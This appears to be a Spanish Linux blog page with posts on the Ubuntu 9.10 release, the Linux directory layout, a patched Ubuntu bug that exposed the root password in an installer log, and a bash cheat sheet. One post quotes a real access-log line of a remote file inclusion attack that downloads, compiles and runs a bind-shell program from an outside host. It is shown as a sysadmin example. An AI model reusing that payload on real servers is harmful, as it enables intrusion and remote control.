Ubuntu 9.10 Karmic Koala

Por fin ha llegado el esperado día por muchos. Ubuntu 9.10 (Karmic Koala) ya está oficialmente disponible.

Ubuntu

Como conseguir Ubuntu 9.10

Como actualizar de Ubuntu 9.04 a 9.10

Simplemente hay que pulsar la combinación de teclas ALT + F2 y escribir «update-manager -d» (sin las comillas) en la ventana que aparece. Esto arrancará el gestor de actualizaciones indicando que hay una versión nueva, hacemos click en actualizar y seguimos los pasos que se muestran en la pantalla.

Algunas novedades de Ubuntu 9.10

  • Mejoras en la velocidad de carga del sistema.
  • Nuevo Ubuntu Software Center, para instalar/desinstalar aplicaciones.
  • GNOME 2.28.
  • Empathy substituye a Pidgin como cliente de mensajeríal.
  • Linux kernel 2.6.31.
  • Sistema de archivos ext4 por defecto.
  • Grub 2 por defecto.
  • Mejoras en el instalador de Windows.
  • Ubuntu One, servicio de sincronización de archivos vía internet (Canonical se sube a la nube).

Problemas de seguridad relacionados con wget

Problemas de seguridad relacionados con wget

Cualquiera que tenga un servidor web y revise los logs de acceso podrá comprobar el gran número de ataques con scripts kiddies que se producen a lo largo del día. Intentos de ataque como éste son el pan de cada día para los sysadmin:

XXX.XXX.XXX.XXX – – [10/Jan/2005:23:09:31 -0600] «GET index.php?template=http://geocities.com/s3xmelayu/bc-x.gif?&cmd=cd%20/tmp;
wget%20http://geocities.com/s3xmelayu/bindtty.c;gcc%20-o%20webphp%20bindtty.c;
chmod%20+777%20webphp;rm%20-rf%20bindtty.c;./webphp HTTP/1.1» 200 4308 «-» «Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)»

Si usas mod_security para apache la mayoría de estos ataques se quedan en meros intentos, pero no dejan de ser molestos.

Mi compañero CrK01, de NewLight Systems, encontró por fin una solución tan simple como efectiva, basta con renombrar en nuestro sistema el binario «wget» a «baja» y el 80% de estos ataques fracasarán.

DISCLAIMER: Al cambiar el nombre de wget, todos los programas o scripts que hagan uso de éste dejarán de funcionar. No me hago responsable de los posibles fallos que este cambio pueda ocasionar. A mi compañero le funciona sin problemas pero cada sistema es un mundo 🙂

Estructura de directorios bajo GNU/Linux

Estructura de directorios bajo GNU/Linux

Vía meneame llega un artículo de fentlinux que todo iniciado en GNU/Linux debería aprender. Se trata de la estructura de directorios, que al principio puede resultar algo confusa.

/: Raíz, debajo de ella nos encontraremos el resto de directorios.

/bin: Contiene comandos que pueden ser utilizados por todos los usuarios y el administrador del sistema.

/sbin: Comandos solo utilizables por el usuario root para la administración del sistema.

/boot: Contiene todo lo necesario para arrancar el sistema excepto los archivos de configuración, en el encontraremos la imagen del kernel con la que estamos trabajando.

/dev: Directorio de dispositivos, un archivo por cada dispositivo que el kernel de linux es capaz de reconocer.

/etc: Contiene archivos de configuración del sistema local, dentro de él encontraremos por ejemplo el subdirectorio X11, en el cual están los archivos de configuración del sistema gráfico.

/home: Directorio hogar de los usuarios, por debajo de él se encuentran los directorios de cada uno de los usuarios del sistema. Ocasionalmente y dependiendo de la distribución de linux o de nuestras preferencias personales, podríamos encontrar directorios que forman parte de un servidor ftp.

/lib: Imágenes de librerías compartidas que se necesitan para arrancar el sistema y ejecutar los comandos en el sistema de archivos raíz.

/mnt: Punto de montaje para sistemas de archivos montados localmente. Aquí podríamos ver particiones de linux, windows, datos, cdroms, etc. Suse por ejemplo monta los cds en /media.

/proc: Sistema de archivos virtual de información de procesos y del kernel. Comandos como ps o free sacan su información de este directorio.

/root: Directorio hogar del usuario root.

/tmp: Archivos temporales.

/usr: Bajo /usr encontramos la gran mayoría de los archivos existentes en un sistema linux, tales como documentación, casi la totalidad de los comandos de usuario, juegos, librerías, etc. Cabe destacar que en /usr/src/ encontraremos las fuentes del kernel, que nos servirán para posteriores compilaciones del kernel.

/var: Contiene información variable, como por ejemplo los logs del sistema, correo local, etc.

/sys: Sistema de archivos virtual sysfs específico al kernel 2.6, contiene información similar a la que se encuentra en /proc/, pero muestra una vista jerárquica de la información de dispositivos específica con relación a los dispositivos de conexión en caliente.

Fallo de seguridad en Ubuntu

Fallo de seguridad en Ubuntu

El otro día leí vía meneame que se había descubierto un bug crítico en la distribución GNU/Linux de moda, Ubuntu.

El fallo se encuentra en un fichero log, /var/log/installer/cdebconf/questions.dat, donde están guardadas en texto plano todas las respuestas dadas durante la instalación, entre ellas la contraseña root, además este fichero es accesible por todos los usuarios del sistema.

Hoy mismo he tenido acceso a una máquina con Ubuntu y he podido comprobar por mi mismo el fallo, obtener la contraseña root es tan sencillo como abrir el fichero anteriormente comentado.

Por suerte ya ha salido la corrección de este fallo, por lo que si usais Ubuntu sólo teneis que actualizar el sistema usando el Gestor de Actualizaciones o el comando apt-get update && apt-get upgrade.

Más información: Ubuntu Security Notice USN-262-1

Pequeña referéncia para scripts bajo GNU/Linux

Pequeña referéncia para scripts bajo GNU/Linux

Esta es una pequeña «chuleta» para programar scripts bajo GNU/Linux:

0. Notas:
– Cada instrucción debe ir en una línea de código diferente.

1. Asignación de variables:
– Asignar valor a variable: variable=valor
– Acceder al contenido de la variable: $variable

2. Entrada/Salida de datos:
– Entrada de datos:
·read variable: Lo introducido por el teclado será guardado en $variable
– Salida de datos:
· echo $variable: Muestra por pantalla el contenido de $variable, al final siempre hace un salto de línea.
· printf $variable : Muestra por pantalla el contenido de $variable

3. Operaciones aritméticas:
let variable=1+1: $variable pasa a valer 2. Siempre que se vaya a realizar una operación aritmetica se debe poner let al principio de línea.

4. Ejecución de comandos:
– Ejecutar comando: comando
– Ejecutar comando y guardar la salida en variable: variable=`comando`

5. Condicionales:
– Sentencia if:
if [ condicion ]
then
instrucciones
elif [ condicion ]
then
instrucciones
else
instrucciones
fi

– Sentencia case:
case $variable in
valor_1)
instrucciones ;;
valor_2)
instrucciones ;;
[…]
valor_n)
instrucciones ;;
*)
instrucciones ;; ( valor por defecto )
esac

– Condiciones posibles: Las condiciones posibles pueden ser consultadas utilizando el comando man test, los corchetes [ ] son equivalentes al comando test.

6. Bucles:
– Sentencia while:
while [ opcion ]
do
instrucciones
done

– Sentencia for:
for i in elementos
do
instrucciones
done
( elementos puede ser una variable, la salida de un comando, una lista de números… en todo caso $i tomará el valor de cada elemento, por ejemplo supongamos que elementos es «1 2 3 a b c perro gato», el bucle hará 8 iteraciones y los valores de $i serán 1, 2, 3, a, b, c, perro y gato respectivamente )

– Condiciones posibles: Las condiciones posibles pueden ser consultadas utilizando el comando man test, los corchetes [ ] son equivalentes al comando test.

7. Pasando parámetros al script:
– Acceder a los parámetros pasados: $1, $2, $3, $4, $5, $6, $7, $8, $9 ( el número indica la posición del parámetro, si por ejemplo queremos acceder al 3er parámetro usaremos $3 )
– Número de parámetros pasados: $#
– Todos los parámetros: $*

Hasta aquí la pequeña guía de referéncia, es posible que con el tiempo se vaya ampliando. Si teneis alguna instrucción o detalle que creais que es importante saber no dudeis en hacerla llegar, ya sea vía comentarios o haciendo un artículo ampliado.